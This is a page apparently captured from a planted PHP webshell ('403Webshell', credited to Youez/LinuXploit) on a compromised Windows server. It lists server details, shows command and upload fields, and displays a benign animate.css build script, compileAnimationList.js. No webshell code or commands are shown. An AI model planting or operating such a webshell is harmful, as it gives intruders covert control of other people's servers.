403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon/www/ayongundang/assets/base/css/animate.css-main/docsSource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon/www/ayongundang/assets/base/css/animate.css-main/docsSource/compileAnimationList.js
const fs = require('fs');
const path = require('path');

/**
 * Get and categorize all the animation names and compile
 * to HTML lists
 * @param {string} dir - directory containing the css file
 * @param {string} file - css file name
 */

function compileAnimationlist(dir = '../source', file = 'animate.css') {
  const filePath = path.join(__dirname, dir, file);
  const content = fs.readFileSync(filePath, 'utf8');
  const globalRegex = /\/(.*)\w/g;
  const itemRegex = /(\/)(.*)(\.)/;

  const rawList = content.match(globalRegex);
  let currentGroup;
  let list = {};

  rawList.forEach((i) => {
    const item = i.match(itemRegex);

    if (item == null) {
      const title = i.replace('/* ', '');
      currentGroup = title;
      list[title] = [];

      return currentGroup;
    }

    return list[currentGroup].push(item[2]);
  }, {});

  const itemTemplate = (item) => `
    <li class="animation-item" data-animation="${item}">
      <span class="animation-item--title">${item}</span>
      <button class="copy-icon" type="button">
        <span class="tooltip">Copy class name to clipboard</span>
      </button>
    </li>`;

  const listTemplate = (title, items) => {
    const parsedTitle = title.toLowerCase().replace(' ', '_');

    return `
      <section class="${parsedTitle}" id="${parsedTitle}">
        <h3 class="animation-title">${title}</h3>
        <ul class="animation-group">${items.join('\n')}</ul>
      </section>
    `;
  };

  const compile = (list) => {
    const titles = Object.keys(list);

    return titles.map((title) => {
      const items = list[title].map((item) => itemTemplate(item));
      return listTemplate(title, items);
    });
  };

  return compile(list).join('\n');
}

module.exports = compileAnimationlist;

Youez - 2016 - github.com/yon3zu
LinuXploit